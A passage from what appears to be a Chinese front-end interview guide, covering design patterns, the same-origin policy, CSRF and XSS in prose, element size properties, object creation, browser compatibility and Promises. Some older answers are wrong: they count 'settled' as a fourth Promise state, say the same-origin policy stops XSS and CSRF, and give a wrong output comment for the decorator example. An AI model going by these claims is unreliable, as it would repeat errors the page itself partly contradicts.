    前端校验谁都能绕过,攻击者可以直接用 curl 调接口。参数化查询让数据库把输入当纯数据,不会当成 SQL 语句的一部分去解析,这才是根上解决。

# 18 用过哪些设计模式?

⚡ 30 秒速记

  • 常用的几个:单例(全局 store、弹窗管理器)、发布订阅(事件总线)、策略(映射表替换 if-else)、代理(Vue 3 响应式、懒加载)、装饰器(HOC)、适配器(统一新旧接口)
  • 观察者和发布订阅的区别:观察者是主题直接持有观察者列表;发布订阅中间多一个调度中心,双方互不认识
  • 举框架里的例子最有说服力:axios 拦截器是责任链、Vue 响应式是代理 + 依赖收集、Redux 中间件是装饰器链
  • 别背 23 种,讲透两三个自己真用过的:解决了什么问题、不用会怎样

我真正在业务里用得多的是策略、发布订阅和单例,每个都能说出用之前代码长什么样。 比如表单校验,一堆 if (type === 'phone') ... else if 改成一张规则映射表,新增规则只加一行,这是策略模式。跨组件通知用发布订阅,发布方和订阅方互相不认识,但要记得组件卸载时取消订阅,不然就泄漏了。单例用在全局只该有一份的东西上,比如请求实例、toast 管理器。设计模式我觉得别为用而用,看到重复的 if-else 或者模块之间互相引用太紧,才是该考虑的时候。

当被问到你用过哪些设计模式时,你可以列举出你在前端开发中常使用的设计模式。以下是几个常见的设计模式,以及它们的优缺点、适用场景和示例代码:

1. 工厂模式(Factory Pattern):

  • 优点:封装了对象的创建过程,降低了耦合性,提供了灵活性和可扩展性。
  • 缺点:增加了代码的复杂性,需要创建工厂类。
  • 适用场景:当需要根据不同条件创建不同对象时,或者需要隐藏对象创建的细节时,可以使用工厂模式。

示例代码:

class Button {
  constructor(text) {
    this.text = text;
  }
  render() {
    console.log(`Rendering button with text: ${this.text}`);
  }
}

class ButtonFactory {
  createButton(text) {
    return new Button(text);
  }
}

const factory = new ButtonFactory();
const button = factory.createButton('Submit');
button.render(); // Output: Rendering button with text: Submit

2. 单例模式(Singleton Pattern):

  • 优点:确保一个类只有一个实例,节省系统资源,提供全局访问点。
  • 缺点:可能引入全局状态,不利于扩展和测试。
  • 适用场景:当需要全局唯一的对象实例时,例如日志记录器、全局配置对象等,可以使用单例模式。

示例代码:

class Logger {
  constructor() {
    if (Logger.instance) {
      return Logger.instance;
    }
    Logger.instance = this;
  }
  log(message) {
    console.log(`Logging: ${message}`);
  }
}

const logger1 = new Logger();
const logger2 = new Logger();

console.log(logger1 === logger2); // Output: true

3. 观察者模式(Observer Pattern):

  • 优点:实现了对象之间的松耦合,支持广播通信,当一个对象状态改变时,可以通知依赖它的其他对象进行更新。
  • 缺点:可能导致性能问题和内存泄漏,需要合理管理观察者列表。
  • 适用场景:当需要实现对象之间的一对多关系,一个对象的改变需要通知其他多个对象时,可以使用观察者模式。

示例代码:

class Subject {
  constructor() {
    this.observers = [];
  }
  addObserver(observer) {
    this.observers.push(observer);
  }
  removeObserver(observer) {
    const index = this.observers.indexOf(observer);
    if (index !== -1) {
      this.observers.splice(index, 1);
    }
  }
  notify(message) {
    this.observers.forEach((observer) => observer.update(message));
  }
}

class Observer {
  update(message) {
    console.log(`Received message: ${message}`);
  }
}

const subject = new Subject();
const observer1 = new Observer();
const observer2 = new Observer();

subject.addObserver(observer1);
subject.addObserver(observer2);
subject.notify('Hello, observers!'); // Output

4. 发布订阅模式(Publish-Subscribe Pattern):

  • 优点:解耦了发布者和订阅者,使它们可以独立变化。增加了代码的灵活性和可维护性。
  • 缺点:可能会导致发布者过度发布消息,造成性能问题。订阅者需要订阅和取消订阅相关的逻辑。
  • 适用场景:当存在一对多的关系,一个对象的状态变化需要通知多个其他对象时,可以使用发布订阅模式。

示例代码:

class PubSub {
  constructor() {
    this.subscribers = {};
  }
  subscribe(event, callback) {
    if (!this.subscribers[event]) {
      this.subscribers[event] = [];
    }
    this.subscribers[event].push(callback);
  }
  unsubscribe(event, callback) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      this.subscribers[event] = subscribers.filter(cb => cb !== callback);
    }
  }
  publish(event, data) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      subscribers.forEach(callback => callback(data));
    }
  }
}

// 创建发布订阅对象
const pubsub = new PubSub();

// 订阅事件
const callback1 = data => console.log('Subscriber 1:', data);
const callback2 = data => console.log('Subscriber 2:', data);
pubsub.subscribe('event1', callback1);
pubsub.subscribe('event1', callback2);

// 发布事件
pubsub.publish('event1', 'Hello, world!');

// 取消订阅事件
pubsub.unsubscribe('event1', callback2);

// 再次发布事件
pubsub.publish('event1', 'Hello again!');

在上述示例中,PubSub 是发布订阅的实现类,它维护一个订阅者列表 subscribers,用于存储不同事件的订阅者列表。通过 subscribe 方法订阅事件,将回调函数添加到对应事件的订阅者列表中;通过 unsubscribe 方法取消订阅事件,从对应事件的订阅者列表中移除回调函数;通过 publish 方法发布事件,遍历对应事件的订阅者列表,依次执行回调函数。通过发布订阅模式,发布者和订阅者之间解耦,可以实现松散耦合的组件间通信。

发布订阅模式适用于许多场景,如事件驱动的系统、消息队列、UI组件间的通信等,可以实现组件之间的解耦和灵活性。

发布订阅模式(Publish-Subscribe Pattern)和观察者模式(Observer Pattern)是两种常见的设计模式,它们有一些相似之处,但也存在一些区别。

相似之处:

  • 都用于实现对象之间的消息通信和事件处理。
  • 都支持解耦,让发布者和订阅者(观察者)之间相互独立。

区别:

  • 关注点不同:观察者模式关注的是一个主题对象(被观察者)和多个观察者对象之间的关系。当主题对象的状态发生变化时,它会通知所有观察者对象进行更新。而发布订阅模式关注的是发布者和订阅者之间的关系,发布者将消息发送到一个中心调度器(或者称为事件总线),然后由调度器将消息分发给所有订阅者。
  • 中间件存在与否:发布订阅模式通常需要一个中间件(调度器或事件总线)来管理消息的发布和订阅,这样发布者和订阅者之间的通信通过中间件进行。而观察者模式则直接在主题对象和观察者对象之间进行通信,没有中间件的参与。
  • 松散耦合程度不同:观察者模式中,主题对象和观察者对象之间是直接关联的,主题对象需要知道每个观察者对象的存在。而在发布订阅模式中,发布者和订阅者之间并不直接关联,它们只与中间件进行通信,发布者和订阅者之间的耦合更加松散。

观察者模式示例:

class Subject {
  constructor() {
    this.observers = [];
  }
  addObserver(observer) {
    this.observers.push(observer);
  }
  removeObserver(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  update(data) {
    console.log('Received data:', data);
  }
}

// 创建主题对象
const subject = new Subject();

// 创建观察者对象
const observer1 = new Observer();
const observer2 = new Observer();

// 添加观察者
subject.addObserver(observer1);
subject.addObserver(observer2);

// 发送通知
subject.notify('Hello, observers!');

发布订阅模式示例:

class EventBus {
  constructor() {
    this.subscribers = {};
  }
  subscribe(event, callback) {
    if (!this.subscribers[event]) {
      this.subscribers[event] = [];
    }
    this.subscribers[event].push(callback);
  }
  unsubscribe(event, callback) {
    const subscribers = this.subscribers[event];
    if (subscribers) {
      this.subscribers[event] = subscribers.filter(cb => cb !== callback);
    }
  }
  publish(event, data) {
        const subscribers = this.subscribers[event];
      if (subscribers) {
        subscribers.forEach(callback => callback(data));
      }
    }
  }

  // 创建事件总线对象
  const eventBus = new EventBus();

  // 订阅事件
  eventBus.subscribe('message', data => {
    console.log('Received message:', data);
  });

  // 发布事件
  eventBus.publish('message', 'Hello, subscribers!');

在上述示例中,观察者模式中的Subject类相当于发布订阅模式中的EventBus类,Observer类相当于订阅者(观察者),notify方法相当于publish方法,update方法相当于订阅者接收到事件后的回调函数。

观察者模式和发布订阅模式都是常见的用于实现事件处理和消息通信的设计模式,根据实际场景和需求选择合适的模式进行使用。观察者模式更加简单直接,适用于一对多的关系,而发布订阅模式更加灵活,可以支持多对多的关系,并且通过中间件来解耦发布者和订阅者。

4. 原型模式(Prototype Pattern):

  • 优点:通过克隆现有对象来创建新对象,避免了频繁的对象创建过程,提高了性能。
  • 缺点:需要正确设置原型对象和克隆方法,可能引入深拷贝或浅拷贝的问题。
  • 适用场景:当创建对象的成本较大且对象之间相似度较高时,可以使用原型模式来复用已有对象。

示例代码:

class Shape {
  constructor() {
    this.type = '';
  }
  clone() {
    return Object.create(this);
  }
  draw() {
    console.log(`Drawing a ${this.type}`);
  }
}

const circlePrototype = new Shape();
circlePrototype.type = 'Circle';

const squarePrototype = new Shape();
squarePrototype.type = 'Square';

const circle = circlePrototype.clone();
circle.draw(); // Output: Drawing a Circle

const square = squarePrototype.clone();
square.draw(); // Output: Drawing a Square

6. 装饰者模式(Decorator Pattern)

  • 优点:动态地给对象添加新的功能,避免了使用子类继承的方式导致类爆炸的问题。
  • 缺点:增加了代码的复杂性,需要理解和管理装饰器的层次结构。
  • 适用场景:当需要在不修改现有对象结构的情况下,动态地添加功能或修改行为时,可以使用装饰者模式。

示例代码:

class Component {
  operation() {
    console.log('Component operation');
  }
}

class Decorator {
  constructor(component) {
    this.component = component;
  }
  operation() {
    this.component.operation();
  }
}

class ConcreteComponent extends Component {
  operation() {
    console.log('ConcreteComponent operation');
  }
}

class ConcreteDecoratorA extends Decorator {
  operation() {
    super.operation();
    console.log('ConcreteDecoratorA operation');
  }
}

class ConcreteDecoratorB extends Decorator {
  operation() {
    super.operation();
    console.log('ConcreteDecoratorB operation');
  }
}

const component = new ConcreteComponent();
const decoratorA = new ConcreteDecoratorA(component);
const decoratorB = new ConcreteDecoratorB(decoratorA);

decoratorB.operation();
// Output:
// Component operation
// ConcreteComponent operation
// ConcreteDecoratorA operation
// ConcreteDecoratorB operation

7. 适配器模式(Adapter Pattern):

  • 优点:允许不兼容接口的对象协同工作,提高代码的复用性和灵活性。
  • 缺点:增加了代码的复杂性,需要理解和管理适配器的转换过程。
  • 适用场景:当需要将一个类的接口转换成客户端所期望的另一个接口时,可以使用适配器模式。

示例代码:

class Target {
  request() {
    console.log('Target request');
  }
}

class Adaptee {
  specificRequest() {
    console.log('Adaptee specificRequest');
  }
}

class Adapter extends Target {
  constructor(adaptee) {
    super();
    this.adaptee = adaptee;
  }
  request() {
    this.adaptee.specificRequest();
  }
}

const target = new Target();
target.request();
// Output: Target request

const adaptee = new Adaptee();
const adapter = new Adapter(adaptee);
adapter.request();
// Output: Adaptee specificRequest

在上述示例中,Target 定义了客户端所期望的接口,Adaptee 是一个已有的类,它的接口与 Target 不兼容。适配器 Adapter 继承自 Target,并在其内部持有一个 Adaptee 的引用,通过适配器的 request 方法调用 Adaptee 的 specificRequest 方法,从而实现了对不兼容接口的适配。客户端可以通过调用适配器的 request 方法来使用 Adaptee 的功能。

适配器模式可以用于许多场景,例如在使用第三方库时需要将其接口转换成符合自己代码规范的接口,或者在对旧系统进行重构时需要兼容旧代码和新代码之间的差异。

💬 面试官追问

  • 观察者模式和发布订阅模式,说说具体区别?

    观察者里 Subject 自己维护一个观察者数组,状态变了直接挨个调用,双方是认识的。发布订阅多了一个事件中心,发布者只管 emit('login'),不知道谁在听,耦合更低,但事件多了以后谁触发了谁很难追。

  • 一个支付页有微信、支付宝、银行卡三种方式,if-else 越写越长,怎么改?

    用策略模式,把每种支付写成一个实现同样接口的对象,放进 { wechat, alipay, card } 映射表,调用时 strategies[type].pay(order)。加新支付方式只加一个对象,主流程不用动。

  • 单例模式有什么坏处?

    本质是全局状态,谁都能改,出了问题难查;单元测试时状态会在用例之间串,需要手动重置。所以单例里尽量只放无状态或者只读的东西,比如配置好的 axios 实例。

  • Vue 3 的响应式用了哪些模式?

    Proxy 是代理模式,拦截读写;读的时候收集依赖、写的时候通知副作用重新执行,是观察者模式。

  • 事件总线用多了有什么问题?

    事件名是字符串,谁在哪里 emit、谁在哪里 on 全靠全局搜,数据流向看不清;忘了 off 就会重复触发和泄漏。跨很多层的共享状态我更倾向用状态管理库,总线只留给少量真正一次性的通知。

# 19 为什么要有同源限制?

⚡ 30 秒速记

  • 同源 = 协议 + 域名 + 端口全相同,http 和 https 都算不同源
  • 没有它:随便一个网站的 JS 都能读你网银页面的内容、以你的身份调接口并拿到结果
  • 限的是「读」:读跨源响应、访问跨源 iframe 的 DOM、读别人的 localStorage;img、script、link、表单提交都能跨域发
  • 能发不能读,所以有了 JSONP(script 能跨域),也有了 CSRF(表单能跨域提交)
  • 想放开读取,走 CORS,由服务端决定谁能读

同源策略就是浏览器给每个网站划的一条隔离线:你的脚本只能读你自己网站的东西。 想象一下没有它:你登录着网银,另开一个标签页打开某个网站,它的脚本直接 fetch 网银的接口,浏览器自动带上你的 cookie,余额、流水全部读走。同源策略拦的正是「读响应」这一步。但它不拦请求发出去,图片、脚本、表单都能跨域,所以它防不了 CSRF,XSS 更不归它管,这两个要单独防。

  • 同源策略指的是:协议,域名,端口相同,同源策略是一种安全协议
  • 举例说明:比如一个黑客程序,他利用Iframe把真正的银行登录页面嵌到他的页面上,当你使用真实的用户名,密码登录时,他的页面就可以通过Javascript读取到你的表单中input中的内容,这样用户名,密码就轻松到手了。

同源限制是为了保护用户的隐私和安全而存在的。它的主要目的是防止恶意网站利用客户端脚本对其他网站的信息进行读取和操作,从而避免信息泄露和恶意攻击。

同源策略通过限制来自不同源的网页之间的交互,确保只有同源的网页可以相互访问彼此的资源。同源策略要求协议、域名和端口必须完全相同才能实现同源。如果不满足同源条件,浏览器会禁止跨域请求和操作。

同源限制的作用包括但不限于:

  1. 防止跨站点脚本攻击(XSS):同源限制可以防止恶意网站通过跨域脚本注入攻击来获取用户敏感信息或操作用户的账户。
  2. 防止跨站请求伪造(CSRF):同源限制可以防止恶意网站伪造用户请求,以用户的身份执行非法操作。
  3. 保护用户隐私:同源限制可以防止其他网站通过跨域方式获取用户在当前网站的敏感信息。

同源限制通过浏览器的安全策略实现,确保在不同源的网页之间存在一定的隔离性,提高用户的安全性和隐私保护。但同时也给一些特定的跨域场景带来了限制,因此在需要跨域访问的情况下,可以使用跨域技术(如跨域资源共享CORS、JSONP等)来解决问题。

示例代码中提到的黑客程序利用了跨域嵌套iframe的方式,通过读取用户输入的信息来进行攻击。同源限制可以防止这种攻击,因为该黑客程序的域名与银行登录页面的域名不同,无法通过跨域访问获取用户输入的敏感信息。

💬 面试官追问

  • 同源策略既然拦了跨域请求,为什么还会有 CSRF?

    同源策略拦的是读响应,不拦请求发出去。恶意页面提交一个跨域表单,请求照样到达服务器,cookie 也会带上,攻击者不需要看到结果,转账已经完成了。

  • a.example.com 和 b.example.com 是同源吗?

    不是,域名必须完全一样。不过它们是同站(same-site),SameSite 类 cookie 在它们之间照样会带,这一点容易和同源混淆。

  • 为什么 img 能加载别的域名的图片,但 canvas 画上去以后 toDataURL 报错?

    显示跨域图片没问题,但画进 canvas 后再导出就等于读到了像素数据,canvas 会被标记为污染。要导出就给图片加 crossOrigin="anonymous",服务器同时返回 CORS 头。

  • 同源策略能不能防住 XSS?

    防不住。XSS 的脚本是注入到你自己页面里执行的,它就是同源的,读 cookie、调接口都合法。防 XSS 靠转义、CSP 和 HttpOnly。

  • localhost:3000 调 localhost:8080 的接口也报跨域,不是同一台机器吗?

    端口不同就不同源,和是不是同一台机器无关。开发期配 devServer.proxy 把 /api 转到 8080,浏览器看到的就是同源请求了。

# 20 offsetWidth/offsetHeight,clientWidth/clientHeight与scrollWidth/scrollHeight的区别

⚡ 30 秒速记

  • offsetWidth = content + padding + border + 滚动条,元素实际占的宽度,取整数
  • clientWidth = content + padding,不含 border 和滚动条,看得见的内容区宽度
  • scrollWidth = 内容实际宽度,包括溢出看不见的部分;没溢出时等于 clientWidth
  • 判断溢出:scrollWidth > clientWidth;判断滚到底:scrollTop + clientHeight >= scrollHeight - 1
  • 要小数精度或考虑 transform 缩放,用 getBoundingClientRect(),offset* 不受 transform 影响
  • 读这些属性会触发强制同步布局,别在循环里读写交替

三组尺寸可以这么记:offset 看元素整体占多大,client 看里面的可视区有多大,scroll 看内容一共有多大。 offsetWidth 是内容加 padding 加 border,滚动条也算在里面;clientWidth 把 border 和滚动条去掉;scrollWidth 是内容真正的宽度,溢出被藏起来的部分也算。实际开发里用得最多的就是两个判断:文字有没有被截断,比较 scrollWidth 和 clientWidth;列表有没有滚到底,scrollTop + clientHeight 和 scrollHeight 比,留 1px 容差,因为缩放下 scrollTop 可能是小数。

  • offsetWidth/offsetHeight:返回元素的总宽度/高度,包括内容宽度、内边距和边框宽度。该值是元素在布局中占据的完整尺寸,滚动条占用的空间也在其中,但不包括溢出的内容。
  • clientWidth/clientHeight:返回元素的可视区域宽度/高度,即内容区域加上内边距,但不包括滚动条的宽度。该值表示元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight:返回元素内容的实际宽度/高度,包括内容区域的尺寸以及溢出内容的尺寸。如果内容没有溢出,则与clientWidth/clientHeight的值相同。

区别总结:

  • offsetWidth/offsetHeight包含了元素的边框和滚动条占用的空间,提供了元素的完整尺寸。
  • clientWidth/clientHeight只包含元素的内容区域和内边距,不包括滚动条,表示了元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight包含了元素内容的实际宽度/高度,包括溢出内容的尺寸。

示例代码:

<style>
  #box {
    width: 200px;
    height: 200px;
    padding: 20px;
    border: 2px solid black;
    overflow: scroll;
  }
  #content {
    width: 400px;
    height: 400px;
  }
</style>

<div id="box">
  <div id="content"></div>
</div>

<script>
  var box = document.getElementById('box');
  console.log('offsetWidth:', box.offsetWidth); // 244 (200 + 20*2 + 2*2),滚动条占的是内容区的空间,不会额外加
  console.log('offsetHeight:', box.offsetHeight); // 244

  // 240 (200 + 20*2) 减去滚动条宽度:Windows 上滚动条约 17px,结果约 223;
  // macOS 默认的悬浮滚动条不占空间,结果就是 240
  console.log('clientWidth:', box.clientWidth);
  console.log('clientHeight:', box.clientHeight);

  console.log('scrollWidth:', box.scrollWidth); // 440 (content 的 400 + 左右 padding)
  console.log('scrollHeight:', box.scrollHeight); // 440 (content 的 400 + 上下 padding)
</script>

在上面的示例中,box元素的尺寸为200px × 200px,有20px的内边距和2px的边框。内部的content元素的尺寸为400px × 400px,超出了父元素的尺寸。通过不同的属性获取到的值可以看到它们的差异。

小结

  • offsetWidth/offsetHeight返回值包含content + padding + border,没有 transform 时与 getBoundingClientRect() 的宽高基本一致(后者保留小数)
  • clientWidth/clientHeight返回值只包含content + padding,如果有滚动条,也不包含滚动条
  • scrollWidth/scrollHeight返回值包含content + padding + 溢出内容的尺寸

几个容易搞错的点:

  • 滚动条是从 padding box 里挤出来的,所以 offsetWidth 不会因为有滚动条而变大,变小的是 clientWidth。
  • 如果给盒子加 box-sizing: border-box,200px 就包含了 padding 和 border,offsetWidth 就是 200。
  • offsetWidth 和 getBoundingClientRect().width 只在没有 transform 时相同;前者四舍五入成整数,后者保留小数并算上缩放、旋转后的包围盒。
  • 行内元素的 clientWidth 是 0,因为 client* 只对有盒子布局的元素有意义。

还有一组常配合使用的:offsetTop / offsetLeft 是相对 offsetParent(最近的定位祖先)的偏移,clientTop / clientLeft 其实就是上边框和左边框的宽度,scrollTop / scrollLeft 是已经滚过去的距离,而且是唯一可写的一组,el.scrollTop = 0 就能回到顶部。

💬 面试官追问

  • 表格单元格文字超出显示省略号,想只在被截断时才显示 tooltip,怎么判断?

    鼠标移入时比较 el.scrollWidth > el.clientWidth,大于就是被截断了。别在渲染时给所有单元格算一遍,那是几百次强制布局。

  • 无限滚动用 scrollTop + clientHeight === scrollHeight 判断到底,偶尔不触发,为什么?

    页面缩放或高分屏下 scrollTop 可能是小数,永远凑不出完全相等。改成 >= scrollHeight - 1,更好的是在列表底部放一个哨兵元素,用 IntersectionObserver 监听它出现。

  • 元素加了 transform: scale(0.5),offsetWidth 会变吗?

    不变,offsetWidth 是布局尺寸,transform 不影响布局。要拿视觉上实际的大小用 getBoundingClientRect().width,它会算上变换,而且返回小数。

  • display: none 的元素,这几个值是多少?

    全是 0,因为它不参与布局。要量一个隐藏元素的尺寸,可以临时改成 visibility: hidden 加 position: absolute 放出来量,量完再还原。

  • 页面滚动距离用 document.body.scrollTop 读出来一直是 0,怎么回事?

    标准模式下滚动的是 document.documentElement,不是 body。直接用 window.scrollY 最省事,不用管是哪个元素在滚。

# 21 javascript有哪些方法定义对象

⚡ 30 秒速记

  • 字面量 {}:最常用,原型是 Object.prototype
  • 构造函数 / class:批量造同类实例,class 本质是构造函数加原型的语法糖,但必须 new、内部默认严格模式
  • Object.create(proto):显式指定原型;Object.create(null) 得到没有原型的纯字典
  • 工厂函数:普通函数返回对象,不用 new,可以靠闭包藏私有变量
  • 构造函数里 this.say = function(){} 每个实例一份,方法应该挂到 prototype 上共享
  • new Object() 几乎不用

日常写对象基本都是字面量,要批量造同一类对象就用 class,需要精确控制原型时用 Object.create。 class 看起来像 Java,其实底下还是构造函数和原型那一套,区别是它必须 new、方法不可枚举、内部是严格模式。Object.create(null) 有个实用场景:拿对象当字典存用户输入的键,没有原型就不会撞上 toString、__proto__ 这类内置属性。工厂函数现在也很常见,比如 createStore() 这种,不用管 new 和 this,私有状态用闭包藏起来。

  • 对象字面量: var obj = {}; 原型是Object.prototype
  • 构造函数: var obj = new Object();
  • Object.create(): var obj = Object.create(Object.prototype);
    • Object.create(null) 没有原型
    • Object.create({...}) 可指定原型

1. 字面量表示法(Literal Notation):

使用对象字面量 {} 直接创建对象,并在其中定义属性和方法。

const person = {
  name: 'poetry',
  age: 30,
  sayHello: function() {
    console.log('Hello!');
  }
};

2. 构造函数(Constructor):

使用构造函数创建对象,可以定义一个构造函数,然后使用 new 关键字实例化对象。

function Person(name, age) {
  this.name = name;
  this.age = age;
  this.sayHello = function() {
    console.log('Hello!');
  };
}

const person = new Person('poetry', 30);

3. Object.create() 方法:

使用Object.create()方法创建一个新对象,并将指定的原型对象设置为新对象的原型。可以传入一个原型对象作为参数,也可以传入null作为参数来创建没有原型的对象。

const personPrototype = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.create(personPrototype);
person.name = 'poetry';
person.age = 30;

4. class 关键字(ES6引入):

使用 class 关键字可以定义类,并通过 new 关键字实例化对象。

class Person {
 constructor(name, age) {
   this.name = name;
   this.age = age;
 }

 sayHello() {
   console.log('Hello!');
 }
}

const person = new Person('poetry', 30);

5. 工厂函数(Factory Function):

使用一个函数来封装创建对象的逻辑,并返回新创建的对象。

function createPerson(name, age) {
  const person = {};
  person.name = name;
  person.age = age;
  person.sayHello = function() {
    console.log('Hello!');
  };
  return person;
}

const person = createPerson('poetry', 30);

6. 原型(Prototype):

在 JavaScript 中,每个对象都有一个原型(prototype),可以通过原型链来继承属性和方法。

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello!');
};

const person = new Person('poetry', 30);

7. Object.assign() 方法:

使用 Object.assign() 方法可以将一个或多个源对象的属性复制到目标对象中,从而创建一个新对象。

const person1 = {
  name: 'poetry',
  age: 30
};

const person2 = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.assign({}, person1, person2);

💬 面试官追问

  • 构造函数里写 this.sayHello = function() {},有什么问题?

    每 new 一次就新建一个函数,一千个实例就是一千个一模一样的函数,白占内存。方法放到 Person.prototype.sayHello 上,所有实例共享一份;用 class 写方法默认就是挂在原型上的。

  • 用普通对象当字典统计单词出现次数,遇到 constructor 这个词结果不对,为什么?

    obj['constructor'] 一开始就能从原型上读到 Object 函数,判断「有没有」时就错了。用 Object.create(null) 建字典,或者直接用 Map。

  • class 和构造函数有哪些实际差别,还是纯语法糖?

    不完全是糖:class 不 new 直接调用会报错;内部是严格模式;方法不可枚举,for...in 遍历不出来;声明有暂时性死区,不能在定义前使用。还支持 #private 真私有字段。

  • 工厂函数和 class 怎么选?

    需要 instanceof 判断、继承层级、大量实例共享方法时用 class。只是想返回一个带方法的对象、要私有状态,工厂函数加闭包更简单,也不会有 this 丢失的问题。

  • Object.assign({}, a) 和 { ...a } 有区别吗?

    都是浅拷贝自身可枚举属性,结果基本一样。区别是 Object.assign 是对目标执行赋值,会触发目标上的 setter;展开语法是直接定义新属性,不会触发。

# 22 常见兼容性问题?

⚡ 30 秒速记

  • IE 时代的兼容题已经过时;现在真正的兼容战场是 iOS Safari(iOS 上所有浏览器都是 WebKit 内核)、微信内置浏览器、老安卓 WebView
  • 高频现代坑:100vh 包含地址栏(用 100dvh)、new Date('2024-01-01 00:00') 在老版本 Safari 返回 Invalid Date、输入框聚焦弹键盘把页面顶上去
  • 工程化处理:Browserslist 声明目标 → Babel + core-js 按需 polyfill → Autoprefixer 加前缀
  • 运行时用特性检测('IntersectionObserver' in window、CSS.supports()),别靠 UA 判断浏览器
  • 查兼容性看 caniuse 和 MDN 的兼容表,真机测试不能省

currentStyle、event.srcElement 这些都是 IE 时代的东西,IE 11 微软已经停止支持了,现在真正让人头疼的是移动端。 比如 iOS Safari 的 100vh 会把地址栏也算进去,底部按钮被挡住,现在用 100dvh 解决;日期字符串写成 2024-01-01 00:00 这种带空格的格式,老 Safari 直接解析失败。处理思路上,我不去判断是哪个浏览器,而是在 Browserslist 里声明要支持哪些,让 Babel 和 Autoprefixer 自动补;代码里用特性检测做降级,最后一定上真机测。

常见的兼容性问题有很多,以下列举一些常见的问题:

  1. 浏览器的盒模型差异:不同浏览器对盒模型的解析存在差异,导致元素的尺寸计算不一致。可以使用CSS盒模型属性(box-sizing)来进行控制。
  2. 浏览器对CSS属性的支持差异:不同浏览器对CSS属性的支持程度不同,某些属性在某些浏览器中可能不起作用或解析不正确。需要使用CSS前缀(Vendor Prefix)或使用兼容性方案来处理。
  3. JavaScript API的差异:不同浏览器对JavaScript API的支持存在差异,某些方法、属性或事件在某些浏览器中可能不可用或行为不同。需要进行兼容性检测并使用替代方案或进行特定的处理。
  4. 样式的兼容性:不同浏览器对样式的解析存在差异,可能导致页面显示不一致。需要针对不同浏览器进行样式的调整和优化。
  5. 图片格式的兼容性:不同浏览器对图片格式的支持存在差异,某些格式在某些浏览器中可能不被支持或显示异常。需要根据需求选择合适的图片格式,并进行兼容性处理。
  6. 事件处理的差异:不同浏览器对事件的处理存在差异,例如事件对象的属性、方法、坐标获取等方面。需要进行兼容性处理,使用合适的方法来获取事件相关信息。

示例代码:

// 获取鼠标坐标
function getMousePosition(event) {
  var x, y;
  if (event.pageX || event.pageY) {
    x = event.pageX;
    y = event.pageY;
  } else {
    x = event.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
    y = event.clientY + document.body.scrollTop + document.documentElement.scrollTop;
  }
  return { x: x, y: y };
}

// 兼容性处理
var event = event || window.event;
var mousePosition = getMousePosition(event);

// 获取元素样式
function getComputedStyle(element) {
  if (window.getComputedStyle) {
    return window.getComputedStyle(element, null);
  } else {
    return element.currentStyle;
  }
}

// 兼容性处理
var elementStyle = getComputedStyle(element);

// 图片格式兼容性处理
var img = new Image();
img.src = 'image.png';
img.onerror = function() {
  // 图片加载失败,处理兼容性
};

以上示例代码展示了对常见兼容性问题的处理方法,包括事件对象的属性获取、样式获取和图片加载的兼容性处理。在实际开发中,需要根据具体的兼容性问题选择合适的解决方案,并进行兼容性测试和调整。

💬 面试官追问

  • 订单页倒计时在安卓上正常,iPhone 上显示 NaN,可能是什么原因?

    多半是 new Date('2024-01-01 12:00:00') 这种带空格的日期字符串,老版本 Safari 解析不了。换成 '2024-01-01T12:00:00' 这种 ISO 格式,或者让后端直接返回时间戳。

  • 移动端页面高度写 100vh,iOS 上底部按钮被地址栏挡住了,怎么改?

    100vh 在 iOS 上按地址栏收起时的最大高度算。用 height: 100dvh,它会随地址栏伸缩变化;老系统不支持就先写一行 100vh 兜底,再写 100dvh 覆盖。

  • 配了 @babel/preset-env,代码里用的 Promise.allSettled 在老浏览器还是报错,为什么?

    Babel 默认只转语法,不补 API。要配 useBuiltIns: 'usage' 加 corejs: 3,并且装上 core-js,它才会按 Browserslist 自动引入用到的 polyfill。

  • 为什么不推荐用 UA 判断浏览器做兼容?

    UA 可以伪造,而且各家互相抄,Chrome 的 UA 里也有 Safari 字样;Chrome 还在逐步冻结和精简 UA。直接检测要用的能力在不在,比如 if ('share' in navigator),更可靠。

  • iOS 上输入框聚焦,键盘弹起把 fixed 定位的底部栏顶飞了,怎么处理?

    iOS 弹键盘时是把视觉视口缩小并滚动页面,fixed 元素会跟着错位。可以监听 visualViewport 的 resize 事件,根据 visualViewport.height 调整底部栏位置,或者聚焦时把底部栏改成跟随内容流。

# 23 说说你对promise的了解

⚡ 30 秒速记

  • 只有三个状态:pending → fulfilled / rejected,变一次就定死;settled 只是「已经变了」的统称,不是第四个状态
  • 解决回调地狱和信任问题:回调不会被调多次,也不会忘了调
  • then 永远返回新 Promise:返回普通值就包成成功,返回 Promise 就等它,抛错就变失败
  • 组合方法:all(一个失败就失败)、allSettled(等全部结束)、race(第一个结束的)、any(第一个成功的)
  • then 回调是微任务,比 setTimeout 先执行;第 91 题有事件循环演示
  • 手写 Promise 的关键:状态机 + 回调队列 + then 返回新 Promise

Promise 就是一个「将来才有结果」的占位对象,状态只有 pending、fulfilled、rejected 三种,一旦变了就不会再变。 常有人把 settled 当成第四种状态,其实它不是独立状态,只是成功和失败的统称。Promise 最有用的是 then 会返回一个新的 Promise,回调里返回什么,下一个 then 就拿到什么,所以能把嵌套的回调拉平成一条链。并发场景我常用 Promise.all,但它一个失败全部失败;如果是批量上传这种要知道每个结果的,用 allSettled。

依照 Promise/A+ 的定义,Promise 有四种状态:

  1. pending(进行中): 初始状态,表示异步操作尚未完成。当创建一个 Promise 对象时,它的初始状态就是 pending。
  2. fulfilled(已成功): 表示异步操作已成功完成,并且返回了一个结果值。一旦 Promise 的状态转为 fulfilled,就会调用 onFulfilled 回调函数。
  3. rejected(已失败): 表示异步操作执行过程中出现了错误或失败。一旦 Promise 的状态转为 rejected,就会调用 onRejected 回调函数。
  4. settled(已结束): 表示 Promise 已经被 resolved(fulfilled 或 rejected)。在 settled 状态下,Promise 的状态已经确定,不会再发生变化。

